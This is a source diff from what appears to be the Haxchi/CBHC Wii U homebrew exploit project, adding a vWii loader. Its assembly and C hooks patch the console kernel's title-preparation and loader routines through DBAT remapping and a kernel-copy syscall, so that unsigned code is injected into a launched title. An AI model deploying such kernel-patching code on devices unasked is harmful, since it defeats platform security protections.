#define PT_HIPROC 0x7fffffff /* specific segment types */
/* Segment flags - p_flags */
#define PF_X 0x1 /* Executable */
#define PF_W 0x2 /* Writable */
#define PF_R 0x4 /* Readable */
#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */
#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */
/* specific segment flags */
/* Dynamic structure */
typedef struct
{
Elf32_Sword d_tag; /* controls meaning of d_val */
union
{
Elf32_Word d_val; /* Multiple meanings - see d_tag */
Elf32_Addr d_ptr; /* program virtual address */
} d_un;
} Elf32_Dyn;
extern Elf32_Dyn _DYNAMIC[];
/* Dynamic Array Tags - d_tag */
#define DT_NULL 0 /* marks end of _DYNAMIC array */
#define DT_NEEDED 1 /* string table offset of needed lib */
#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */
#define DT_PLTGOT 3 /* address PLT/GOT */
#define DT_HASH 4 /* address of symbol hash table */
#define DT_STRTAB 5 /* address of string table */
#define DT_SYMTAB 6 /* address of symbol table */
#define DT_RELA 7 /* address of relocation table */
#define DT_RELASZ 8 /* size of relocation table */
#define DT_RELAENT 9 /* size of relocation entry */
#define DT_STRSZ 10 /* size of string table */
#define DT_SYMENT 11 /* size of symbol table entry */
#define DT_INIT 12 /* address of initialization func. */
#define DT_FINI 13 /* address of termination function */
#define DT_SONAME 14 /* string table offset of shared obj */
#define DT_RPATH 15 /* string table offset of library
search path */
#define DT_SYMBOLIC 16 /* start sym search in shared obj. */
#define DT_REL 17 /* address of rel. tbl. w addends */
#define DT_RELSZ 18 /* size of DT_REL relocation table */
#define DT_RELENT 19 /* size of DT_REL relocation entry */
#define DT_PLTREL 20 /* PLT referenced relocation entry */
#define DT_DEBUG 21 /* bugger */
#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */
#define DT_JMPREL 23 /* add. of PLT's relocation entries */
#define DT_BIND_NOW 24 /* Process relocations of object */
#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
#define DT_RUNPATH 29 /* Library search path */
#define DT_FLAGS 30 /* Flags for the object being loaded */
#define DT_ENCODING 32 /* Start of encoded range */
#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/
#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */
#define DT_NUM 34 /* Number used. */
#define DT_LOOS 0x60000000 /* reserved range for OS */
#define DT_HIOS 0x6fffffff /* specific dynamic array tags */
#define DT_LOPROC 0x70000000 /* reserved range for processor */
#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */
/* Dynamic Tag Flags - d_un.d_val */
#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */
#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */
#define DF_TEXTREL 0x04 /* Object contains text relocations */
#define DF_BIND_NOW 0x08 /* No lazy binding for this object */
#define DF_STATIC_TLS 0x10 /* Static thread local storage */
/* Standard ELF hashing function */
unsigned long elf_hash(const unsigned char *name);
#define ELF_TARG_VER 1 /* The ver for which this code is intended */
/*
* XXX - PowerPC defines really don't belong in here,
* but we'll put them in for simplicity.
*/
/* Values for Elf32/64_Ehdr.e_flags. */
#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */
/* Cygnus local bits below */
#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/
#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib
flag */
/* PowerPC relocations defined by the ABIs */
#define R_PPC_NONE 0
#define R_PPC_ADDR32 1 /* 32bit absolute address */
#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */
#define R_PPC_ADDR16 3 /* 16bit absolute address */
#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */
#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */
#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */
#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */
#define R_PPC_ADDR14_BRTAKEN 8
#define R_PPC_ADDR14_BRNTAKEN 9
#define R_PPC_REL24 10 /* PC relative 26 bit */
#define R_PPC_REL14 11 /* PC relative 16 bit */
#define R_PPC_REL14_BRTAKEN 12
#define R_PPC_REL14_BRNTAKEN 13
#define R_PPC_GOT16 14
#define R_PPC_GOT16_LO 15
#define R_PPC_GOT16_HI 16
#define R_PPC_GOT16_HA 17
#define R_PPC_PLTREL24 18
#define R_PPC_COPY 19
#define R_PPC_GLOB_DAT 20
#define R_PPC_JMP_SLOT 21
#define R_PPC_RELATIVE 22
#define R_PPC_LOCAL24PC 23
#define R_PPC_UADDR32 24
#define R_PPC_UADDR16 25
#define R_PPC_REL32 26
#define R_PPC_PLT32 27
#define R_PPC_PLTREL32 28
#define R_PPC_PLT16_LO 29
#define R_PPC_PLT16_HI 30
#define R_PPC_PLT16_HA 31
#define R_PPC_SDAREL16 32
#define R_PPC_SECTOFF 33
#define R_PPC_SECTOFF_LO 34
#define R_PPC_SECTOFF_HI 35
#define R_PPC_SECTOFF_HA 36
/* Keep this the last entry. */
#define R_PPC_NUM 37
/* The remaining relocs are from the Embedded ELF ABI, and are not
in the SVR4 ELF ABI. */
#define R_PPC_EMB_NADDR32 101
#define R_PPC_EMB_NADDR16 102
#define R_PPC_EMB_NADDR16_LO 103
#define R_PPC_EMB_NADDR16_HI 104
#define R_PPC_EMB_NADDR16_HA 105
#define R_PPC_EMB_SDAI16 106
#define R_PPC_EMB_SDA2I16 107
#define R_PPC_EMB_SDA2REL 108
#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */
#define R_PPC_EMB_MRKREF 110
#define R_PPC_EMB_RELSEC16 111
#define R_PPC_EMB_RELST_LO 112
#define R_PPC_EMB_RELST_HI 113
#define R_PPC_EMB_RELST_HA 114
#define R_PPC_EMB_BIT_FLD 115
#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */
/* Diab tool relocations. */
#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */
#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */
#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */
#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */
#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */
#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */
/* This is a phony reloc to handle any old fashioned TOC16 references
that may still be in object files. */
#define R_PPC_TOC16 255
#endif /* _ELF_H */

View File

@ -0,0 +1,388 @@
#include <gctypes.h>
#include "elf_abi.h"
#include "../../common.h"
#include "../../fs_defs.h"
#include "../../os_defs.h"
#include "kernel_defs.h"
#include "loader_defs.h"
#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__);
#define OS_FIND_EXPORT(handle, funcName, func) OSDynLoad_FindExport(handle, 0, funcName, &func)
static void (*DCFlushRange)(void *addr, unsigned int size);
static void (*DCInvalidateRange)(void *addr, unsigned int size);
static void (*ICInvalidateRange)(void *addr, unsigned int size);
static unsigned int hook_LiWaitOneChunk;
static unsigned int addrphys_LiWaitOneChunk;
extern void SC0x25_KernelCopyData(unsigned int addr, unsigned int src, unsigned int len);
extern void my_PrepareTitle_hook(void);
static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len)
{
/*
* Setup a DBAT access with cache inhibited to write through and read directly from memory
*/
unsigned int dbatu0, dbatl0, dbatu1, dbatl1;
// save the original DBAT value
asm volatile("mfdbatu %0, 0" : "=r" (dbatu0));
asm volatile("mfdbatl %0, 0" : "=r" (dbatl0));
asm volatile("mfdbatu %0, 1" : "=r" (dbatu1));
asm volatile("mfdbatl %0, 1" : "=r" (dbatl1));
unsigned int target_dbatu0 = 0;
unsigned int target_dbatl0 = 0;
unsigned int target_dbatu1 = 0;
unsigned int target_dbatl1 = 0;
unsigned int *dst_p = (unsigned int*)addr;
unsigned int *src_p = (unsigned int*)src;
// we only need DBAT modification for addresses out of our own DBAT range
// as our own DBAT is available everywhere for user and supervisor
// since our own DBAT is on DBAT5 position we don't collide here
if(addr < 0x00800000 || addr >= 0x01000000)
{
target_dbatu0 = (addr & 0x00F00000) | 0xC0000000 | 0x1F;
target_dbatl0 = (addr & 0xFFF00000) | 0x32;
asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0));
asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0));
dst_p = (unsigned int*)((addr & 0xFFFFFF) | 0xC0000000);
}
if(src < 0x00800000 || src >= 0x01000000)
{
target_dbatu1 = (src & 0x00F00000) | 0xB0000000 | 0x1F;
target_dbatl1 = (src & 0xFFF00000) | 0x32;
asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1));
asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1));
src_p = (unsigned int*)((src & 0xFFFFFF) | 0xB0000000);
}
asm volatile("eieio; isync");
unsigned int i;
for(i = 0; i < len; i += 4)
{
// if we are on the edge to next chunk
if((target_dbatu0 != 0) && (((unsigned int)dst_p & 0x00F00000) != (target_dbatu0 & 0x00F00000)))
{
target_dbatu0 = ((addr + i) & 0x00F00000) | 0xC0000000 | 0x1F;
target_dbatl0 = ((addr + i) & 0xFFF00000) | 0x32;
dst_p = (unsigned int*)(((addr + i) & 0xFFFFFF) | 0xC0000000);
asm volatile("eieio; isync");
asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0));
asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0));
asm volatile("eieio; isync");
}
if((target_dbatu1 != 0) && (((unsigned int)src_p & 0x00F00000) != (target_dbatu1 & 0x00F00000)))
{
target_dbatu1 = ((src + i) & 0x00F00000) | 0xB0000000 | 0x1F;
target_dbatl1 = ((src + i) & 0xFFF00000) | 0x32;
src_p = (unsigned int*)(((src + i) & 0xFFFFFF) | 0xB0000000);
asm volatile("eieio; isync");
asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1));
asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1));
asm volatile("eieio; isync");
}
*dst_p = *src_p;
++dst_p;
++src_p;
}
/*
* Restore original DBAT value
*/
asm volatile("eieio; isync");
asm volatile("mtdbatu 0, %0" : : "r" (dbatu0));
asm volatile("mtdbatl 0, %0" : : "r" (dbatl0));
asm volatile("mtdbatu 1, %0" : : "r" (dbatu1));
asm volatile("mtdbatl 1, %0" : : "r" (dbatl1));
asm volatile("eieio; isync");
}
// This function is called every time after LiBounceOneChunk.
// It waits for the asynchronous call of LiLoadAsync for the IOSU to fill data to the RPX/RPL address
// and return the still remaining bytes to load.
// We override it and replace the loaded date from LiLoadAsync with our data and our remaining bytes to load.
static int LiWaitOneChunk(unsigned int * iRemainingBytes, const char *filename, int fileType)
{
unsigned int result;
register int core_id;
int remaining_bytes = 0;
int sgFileOffset;
int sgBufferNumber;
int *sgBounceError;
int *sgGotBytes;
int *sgTotalBytes;
int *sgIsLoadingBuffer;
int *sgFinishedLoadingBuffer;
// get the current core
asm volatile("mfspr %0, 0x3EF" : "=r" (core_id));
// get the offset of per core global variable for dynload initialized (just a simple address + (core_id * 4))
unsigned int gDynloadInitialized = *(volatile unsigned int*)(OS_SPECIFICS->addr_gDynloadInitialized + (core_id << 2));
// Comment (Dimok):
// time measurement at this position for logger -> we don't need it right now except maybe for debugging
//unsigned long long systemTime1 = Loader_GetSystemTime();
if(OS_FIRMWARE == 550)
{
// pointer to global variables of the loader
loader_globals_550_t *loader_globals = (loader_globals_550_t*)(0xEFE19E80);
sgBufferNumber = loader_globals->sgBufferNumber;
sgFileOffset = loader_globals->sgFileOffset;
sgBounceError = &loader_globals->sgBounceError;
sgGotBytes = &loader_globals->sgGotBytes;
sgTotalBytes = &loader_globals->sgTotalBytes;
sgFinishedLoadingBuffer = &loader_globals->sgFinishedLoadingBuffer;
// not available on 5.5.x
sgIsLoadingBuffer = NULL;
}
else
{
// pointer to global variables of the loader
loader_globals_t *loader_globals = (loader_globals_t*)(OS_SPECIFICS->addr_sgIsLoadingBuffer);
sgBufferNumber = loader_globals->sgBufferNumber;
sgFileOffset = loader_globals->sgFileOffset;
sgBounceError = &loader_globals->sgBounceError;
sgGotBytes = &loader_globals->sgGotBytes;
sgIsLoadingBuffer = &loader_globals->sgIsLoadingBuffer;
// not available on < 5.5.x
sgTotalBytes = NULL;
sgFinishedLoadingBuffer = NULL;
}
// the data loading was started in LiBounceOneChunk() and here it waits for IOSU to finish copy the data
if(gDynloadInitialized != 0) {
result = OS_SPECIFICS->LiWaitIopCompleteWithInterrupts(0x2160EC0, &remaining_bytes);
}
else {
result = OS_SPECIFICS->LiWaitIopComplete(0x2160EC0, &remaining_bytes);
}
// Comment (Dimok):
// time measurement at this position for logger -> we don't need it right now except maybe for debugging
//unsigned long long systemTime2 = Loader_GetSystemTime();
//------------------------------------------------------------------------------------------------------------------
// Start of our function intrusion:
// After IOSU is done writing the data into the 0xF6000000/0xF6400000 address,
// we overwrite it with our data before setting the global flag for IsLoadingBuffer to 0
// Do this only if we are in the game that was launched by our method
s_mem_area *mem_area = MEM_AREA_TABLE;
if((ELF_DATA_ADDR == mem_area->address) && (fileType == 0))
{
unsigned int load_address = (sgBufferNumber == 1) ? 0xF6000000 : (0xF6000000 + 0x00400000);
unsigned int load_addressPhys = (sgBufferNumber == 1) ? 0x1B000000 : (0x1B000000 + 0x00400000); // virtual 0xF6000000 and 0xF6400000
remaining_bytes = ELF_DATA_SIZE - sgFileOffset;
if (remaining_bytes > 0x400000)
// truncate size
remaining_bytes = 0x400000;
DCFlushRange((void*)load_address, remaining_bytes);
u32 rpxBlockPos = 0;
u32 done = 0;
u32 mapOffset = 0;
while((done < (u32)sgFileOffset) && mem_area)
{
if((done + mem_area->size) > (u32)sgFileOffset)
{
mapOffset = sgFileOffset - done;
done = sgFileOffset;
}
else
{
done += mem_area->size;
mem_area = mem_area->next;
}
}
while((done < ELF_DATA_SIZE) && (rpxBlockPos < 0x400000) && mem_area)
{
u32 address = mem_area->address + mapOffset;
u32 blockSize = ELF_DATA_SIZE - done;
if(blockSize > (0x400000 - rpxBlockPos))
{
blockSize = 0x400000 - rpxBlockPos;
}
if((mapOffset + blockSize) >= mem_area->size)
{
blockSize = mem_area->size - mapOffset;
//! this value is incremented later by blockSize, so set it to -blockSize for it to be 0 after copy
//! it makes smaller code then if(mapOffset == mem_area->size) after copy
mapOffset = -blockSize;
mem_area = mem_area->next;
}
SC0x25_KernelCopyData(load_addressPhys + rpxBlockPos, address, blockSize);
done += blockSize;
rpxBlockPos += blockSize;
mapOffset += blockSize;
}
DCInvalidateRange((void*)load_address, remaining_bytes);
if((u32)(sgFileOffset + remaining_bytes) == ELF_DATA_SIZE)
{
ELF_DATA_ADDR = 0xDEADC0DE;
ELF_DATA_SIZE = 0;
MAIN_ENTRY_ADDR = 0xC001C0DE;
}
// set result to 0 -> "everything OK"
result = 0;
}
// end of our little intrusion into this function
//------------------------------------------------------------------------------------------------------------------
// set the result to the global bounce error variable
if(sgBounceError) {
*sgBounceError = result;
}
// disable global flag that buffer is still loaded by IOSU
if(sgFinishedLoadingBuffer)
{
unsigned int zeroBitCount = 0;
asm volatile("cntlzw %0, %0" : "=r" (zeroBitCount) : "r"(*sgFinishedLoadingBuffer));
*sgFinishedLoadingBuffer = zeroBitCount >> 5;
}
else if(sgIsLoadingBuffer)
{
*sgIsLoadingBuffer = 0;
}
// check result for errors
if(result == 0)
{
// the remaining size is set globally and in stack variable only
// if a pointer was passed to this function
if(iRemainingBytes) {
if(sgGotBytes) {
*sgGotBytes = remaining_bytes;
}
*iRemainingBytes = remaining_bytes;
// on 5.5.x a new variable for total loaded bytes was added
if(sgTotalBytes) {
*sgTotalBytes += remaining_bytes;
}
}
// Comment (Dimok):
// calculate time difference and print it on logging how long the wait for asynchronous data load took
// something like (systemTime2 - systemTime1) * constant / bus speed, did not look deeper into it as we don't need that crap
}
else {
// Comment (Dimok):
// a lot of error handling here. depending on error code sometimes calls Loader_Panic() -> we don't make errors so we can skip that part ;-P
}
return result;
}
void my_PrepareTitle(CosAppXmlInfo *xmlKernelInfo)
{
if(ELF_DATA_ADDR == MEM_AREA_TABLE->address)
{
xmlKernelInfo->max_size = RPX_MAX_SIZE;
xmlKernelInfo->max_codesize = RPX_MAX_CODE_SIZE;
//! setup our hook to LiWaitOneChunk for RPX loading
hook_LiWaitOneChunk = ((u32)LiWaitOneChunk) | 0x48000002;
KernelCopyData(addrphys_LiWaitOneChunk, (u32) &hook_LiWaitOneChunk, 4);
asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31));
}
else if((MAIN_ENTRY_ADDR == 0xC001C0DE) && (*(u32*)xmlKernelInfo->rpx_name == 0x66666c5f)) // ffl_
{
//! restore original LiWaitOneChunk instruction as our RPX is done
MAIN_ENTRY_ADDR = 0xDEADC0DE;
KernelCopyData(addrphys_LiWaitOneChunk, (u32)&OS_SPECIFICS->orig_LiWaitOneChunkInstr, 4);
asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31));
}
}
unsigned int _main(int argc, char **argv)
{
if(MAIN_ENTRY_ADDR != 0xC001C0DE)
{
EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle);
EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address);
OSDynLoad_Acquire = (int (*)(const char*, u32 *))OS_SPECIFICS->addr_OSDynLoad_Acquire;
OSDynLoad_FindExport = (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport;
unsigned int coreinit_handle;
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
OS_FIND_EXPORT(coreinit_handle, "DCFlushRange", DCFlushRange);
OS_FIND_EXPORT(coreinit_handle, "DCInvalidateRange", DCInvalidateRange);
OS_FIND_EXPORT(coreinit_handle, "ICInvalidateRange", ICInvalidateRange);
EXPORT_DECL(void *, MEMAllocFromDefaultHeapEx,int size, int align);
EXPORT_DECL(void, MEMFreeToDefaultHeap,void *ptr);
unsigned int *functionPtr = 0;
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPtr);
MEMAllocFromDefaultHeapEx = (void * (*)(int, int))*functionPtr;
OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPtr);
MEMFreeToDefaultHeap = (void (*)(void *))*functionPtr;
//get all the CMPT functions
unsigned int cmpt_handle;
OSDynLoad_Acquire("nn_cmpt.rpl", &cmpt_handle);
int (*CMPTLaunchTitle)(void* CMPTConfigure, int ConfigSize, int titlehigh, int titlelow);
int (*CMPTAcctSetScreenType)(int screenType);
int (*CMPTGetDataSize)(int* dataSize);
int (*CMPTCheckScreenState)();
OSDynLoad_FindExport(cmpt_handle, 0, "CMPTLaunchTitle", &CMPTLaunchTitle);
OSDynLoad_FindExport(cmpt_handle, 0, "CMPTAcctSetScreenType", &CMPTAcctSetScreenType);
OSDynLoad_FindExport(cmpt_handle, 0, "CMPTGetDataSize", &CMPTGetDataSize);
OSDynLoad_FindExport(cmpt_handle, 0, "CMPTCheckScreenState", &CMPTCheckScreenState);
//1 = TV Only, 2 = GamePad Only, 3 = Both
CMPTAcctSetScreenType(3);
if(CMPTCheckScreenState() < 0)
{
CMPTAcctSetScreenType(2);
if(CMPTCheckScreenState() < 0)
CMPTAcctSetScreenType(1);
}
int datasize;
CMPTGetDataSize(&datasize);
//needed for CMPT to work
unsigned int padscore_handle;
OSDynLoad_Acquire("padscore.rpl", &padscore_handle);
void(*KPADInit)();
OSDynLoad_FindExport(padscore_handle, 0, "KPADInit", &KPADInit);
KPADInit();
void *databuf = MEMAllocFromDefaultHeapEx(datasize, 0x40);
CMPTLaunchTitle(databuf, datasize, VWII_TITLE_ID_LOW, VWII_TITLE_ID_HIGH);
MEMFreeToDefaultHeap(databuf);
MAIN_ENTRY_ADDR = 0xC001C0DE;
}
unsigned int entry = *(unsigned int*)OS_SPECIFICS->addr_OSTitle_main_entry;
//! launch the original title with clean stack
return entry;
}

View File

@ -0,0 +1,75 @@
#ifndef __KERNEL_DEFS_H_
#define __KERNEL_DEFS_H_
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
// original structure in the kernel that is originally 0x1270 long
typedef struct
{
uint32_t version_cos_xml; // version tag from cos.xml
uint64_t os_version; // os_version from app.xml
uint64_t title_id; // title_id tag from app.xml
uint32_t app_type; // app_type tag from app.xml
uint32_t cmdFlags; // unknown tag as it is always 0 (might be cmdFlags from cos.xml but i am not sure)
char rpx_name[0x1000]; // rpx name from cos.xml
uint32_t unknown2; // 0x050B8304 in mii maker and system menu (looks a bit like permissions complex that got masked!?)
uint32_t unknown3[63]; // those were all zeros, but its probably connected with unknown2
uint32_t max_size; // max_size in cos.xml which defines the maximum amount of memory reserved for the app
uint32_t avail_size; // avail_size or codegen_size in cos.xml (seems to mostly be 0?)
uint32_t codegen_size; // codegen_size or avail_size in cos.xml (seems to mostly be 0?)
uint32_t codegen_core; // codegen_core in cos.xml (seems to mostly be 1?)
uint32_t max_codesize; // max_codesize in cos.xml
uint32_t overlay_arena; // overlay_arena in cos.xml
uint32_t unknown4[59]; // all zeros it seems
uint32_t default_stack0_size; // not sure because always 0 but very likely
uint32_t default_stack1_size; // not sure because always 0 but very likely
uint32_t default_stack2_size; // not sure because always 0 but very likely
uint32_t default_redzone0_size; // not sure because always 0 but very likely
uint32_t default_redzone1_size; // not sure because always 0 but very likely
uint32_t default_redzone2_size; // not sure because always 0 but very likely
uint32_t exception_stack0_size; // from cos.xml, 0x1000 on mii maker
uint32_t exception_stack1_size; // from cos.xml, 0x1000 on mii maker
uint32_t exception_stack2_size; // from cos.xml, 0x1000 on mii maker
uint32_t sdk_version; // from app.xml, 20909 (0x51AD) on mii maker
uint32_t title_version; // from app.xml, 0x32 on mii maker
/*
// ---------------------------------------------------------------------------------------------------------------------------------------------
// the next part might be changing from title to title?! I don't think its important but nice to know maybe....
// ---------------------------------------------------------------------------------------------------------------------------------------------
char mlc[4]; // string "mlc" on mii maker and sysmenu
uint32_t unknown5[7]; // all zeros on mii maker and sysmenu
uint32_t unknown6_one; // 0x01 on mii maker and sysmenu
// ---------------------------------------------------------------------------------------------------------------------------------------------
char ACP[4]; // string "ACP" on mii maker and sysmenu
uint32_t unknown7[15]; // all zeros on mii maker and sysmenu
uint32_t unknown8_5; // 0x05 on mii maker and sysmenu
uint32_t unknown9_zero; // 0x00 on mii maker and sysmenu
uint32_t unknown10_ptr; // 0xFF23DD0C pointer on mii maker and sysmenu
// ---------------------------------------------------------------------------------------------------------------------------------------------
char UVD[4]; // string "UVD" on mii maker and sysmenu
uint32_t unknown11[15]; // all zeros on mii maker and sysmenu
uint32_t unknown12_5; // 0x05 on mii maker and sysmenu
uint32_t unknown13_zero; // 0x00 on mii maker and sysmenu
uint32_t unknown14_ptr; // 0xFF23EFC8 pointer on mii maker and sysmenu
// ---------------------------------------------------------------------------------------------------------------------------------------------
char SND[4]; // string "SND" on mii maker and sysmenu
uint32_t unknown15[15]; // all zeros on mii maker and sysmenu
uint32_t unknown16_5; // 0x05 on mii maker and sysmenu
uint32_t unknown17_zero; // 0x00 on mii maker and sysmenu
uint32_t unknown18_ptr; // 0xFF23F014 pointer on mii maker and sysmenu
// ---------------------------------------------------------------------------------------------------------------------------------------------
uint32_t unknown19; // 0x02 on miimaker, 0x0F on system menu
*/
// after that only zeros follow
} __attribute__((packed)) CosAppXmlInfo;
#ifdef __cplusplus
}
#endif
#endif // __KERNEL_DEFS_H_

View File

@ -0,0 +1,69 @@
# This stuff may need a change in different kernel versions
# This is only needed when launched directly through browser and not SD card.
.section ".kernel_code"
.globl SaveAndResetDataBATs_And_SRs_hook
SaveAndResetDataBATs_And_SRs_hook:
# setup CTR to the position we need to return to
mflr r5
mtctr r5
# set link register to its original value
mtlr r7
# setup us a nice DBAT for our code data with same region as our code
mfspr r5, 560
mtspr 570, r5
mfspr r5, 561
mtspr 571, r5
# restore the original kernel instructions that we replaced
lwz r5, 0x34(r3)
lwz r6, 0x38(r3)
lwz r7, 0x3C(r3)
lwz r8, 0x40(r3)
lwz r9, 0x44(r3)
lwz r10, 0x48(r3)
lwz r11, 0x4C(r3)
lwz r3, 0x50(r3)
isync
mtsr 7, r5
# jump back to the position in kernel after our patch (from LR)
bctr
.extern my_PrepareTitle
.globl my_PrepareTitle_hook
my_PrepareTitle_hook:
# store all registers on stack to avoid issues with the call to C functions
stwu r1, -0x90(r1)
# registers for our own usage
# just store everything
stmw r3, 0x10(r1)
# save the LR from where we came
mflr r31
# the cos.xml/app.xml structure is at the location 0x68 of r11
# there are actually many places that can be hooked for it
# e.g. 0xFFF16130 and r27 points to this structure
addi r3, r11, 0x68
bl my_PrepareTitle
# setup LR to jump back to kernel code
mtlr r31
# restore all original values of registers from stack
lmw r3, 0x10(r1)
# restore the stack
addi r1, r1, 0x90
# restore original instruction that we replaced in the kernel
clrlwi r7, r12, 0
# jump back
blr
.globl SC0x25_KernelCopyData
SC0x25_KernelCopyData:
li r0, 0x2500
sc
blr

View File

@ -0,0 +1,23 @@
OUTPUT(sd_loader.elf);
ENTRY(_start);
SECTIONS {
. = 0x00800000;
.text : {
*(.kernel_code*);
*(.text*);
/* Tell linker to not garbage collect this section as it is not referenced anywhere */
KEEP(*(.kernel_code*));
}
.data : {
*(.rodata*);
*(.data*);
*(.bss*);
}
/DISCARD/ : {
*(*);
}
}
ASSERT((SIZEOF(.text) + SIZEOF(.data)) <= 0x1300, "Memory overlapping with main elf.");

View File

@ -0,0 +1,38 @@
#ifndef __LOADER_DEFS_H_
#define __LOADER_DEFS_H_
#ifdef __cplusplus
extern "C" {
#endif
// struct holding the globals of the loader (there are actually more but we don't need others)
typedef struct _loader_globals_t
{
int sgIsLoadingBuffer;
int sgFileType;
int sgProcId;
int sgGotBytes;
int sgFileOffset;
int sgBufferNumber;
int sgBounceError;
char sgLoadName[0x1000];
} __attribute__((packed)) loader_globals_t;
typedef struct _loader_globals_550_t
{
int sgFinishedLoadingBuffer;
int sgFileType;
int sgProcId;
int sgGotBytes;
int sgTotalBytes;
int sgFileOffset;
int sgBufferNumber;
int sgBounceError;
char sgLoadName[0x1000];
} __attribute__((packed)) loader_globals_550_t;
#ifdef __cplusplus
}
#endif
#endif // __LOADER_DEFS_H_

View File

@ -0,0 +1,32 @@
#ifndef STRUCTS_H
#define STRUCTS_H
typedef struct {
unsigned char *data;
int len;
int alloc_size;
void* (*memcpy)(void * dest, const void * src, int num);
} file_struct_t;
typedef struct {
unsigned char *data_elf;
unsigned int coreinit_handle;
/* function pointers */
void* (*memcpy)(void * dest, const void * src, int num);
void* (*memset)(void * dest, unsigned int value, unsigned int bytes);
void* (*OSEffectiveToPhysical)(const void*);
void* (*MEMAllocFromDefaultHeapEx)(unsigned int size, unsigned int align);
void (*MEMFreeToDefaultHeap)(void *ptr);
void (*DCFlushRange)(const void *addr, unsigned int length);
void (*ICInvalidateRange)(const void *addr, unsigned int length);
void (*_Exit)(int);
void* (*curl_easy_init)(void);
void (*curl_easy_setopt)(void *handle, unsigned int param, const void *op);
int (*curl_easy_perform)(void *handle);
void (*curl_easy_getinfo)(void *handle, unsigned int param, void *op);
void (*curl_easy_cleanup)(void *handle);
} private_data_t;
#endif // STRUCTS_H

22
dsrom/vwii_loader/types.h Normal file
View File

@ -0,0 +1,22 @@
#ifndef TYPES_H
#define TYPES_H
typedef unsigned long long uint64_t;
typedef long long int64_t;
typedef unsigned int uint32_t;
typedef int int32_t;
typedef unsigned short uint16_t;
typedef short int16_t;
typedef unsigned char uint8_t;
typedef char int8_t;
typedef uint32_t size_t;
typedef _Bool bool;
#define true 1
#define false 0
#define null 0
#define NULL (void*)0
#endif /* TYPES_H */

View File

@ -1,5 +1,5 @@
/*
* Copyright (C) 2016 FIX94
* Copyright (C) 2016-2017 FIX94
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
@ -126,9 +126,9 @@ int availSort(const void *c1, const void *c2)
void printhdr_noflip()
{
#ifdef CB
println_noflip(0,"CBHC v1.5u1 by FIX94");
println_noflip(0,"CBHC v1.6 by FIX94");
#else
println_noflip(0,"Haxchi v2.5u1 by FIX94");
println_noflip(0,"Haxchi v2.5u2 by FIX94");
#endif
println_noflip(1,"Credits to smea, plutoo, yellows8, naehrwert, derrek and dimok");
}
@ -139,12 +139,13 @@ int Menu_Main(void)
InitSysFunctionPointers();
InitVPadFunctionPointers();
VPADInit();
memoryInitialize();
// Init screen
OSScreenInit();
int screen_buf0_size = OSScreenGetBufferSizeEx(0);
int screen_buf1_size = OSScreenGetBufferSizeEx(1);
uint8_t *screenBuffer = memalign(0x100, screen_buf0_size+screen_buf1_size);
uint8_t *screenBuffer = (uint8_t*)MEMBucket_alloc(screen_buf0_size+screen_buf1_size, 0x100);
OSScreenSetBufferEx(0, screenBuffer);
OSScreenSetBufferEx(1, (screenBuffer + screen_buf0_size));
OSScreenEnableEx(0, 1);
@ -155,14 +156,14 @@ int Menu_Main(void)
int mcp_handle = MCP_Open();
int count = MCP_TitleCount(mcp_handle);
int listSize = count*0x61;
char *tList = memalign(32, listSize);
char *tList = memalign(32, listSize); //cant be in MEMBucket
memset(tList, 0, listSize);
int recievedCount = count;
MCP_TitleList(mcp_handle, &recievedCount, tList, listSize);
MCP_Close(mcp_handle);
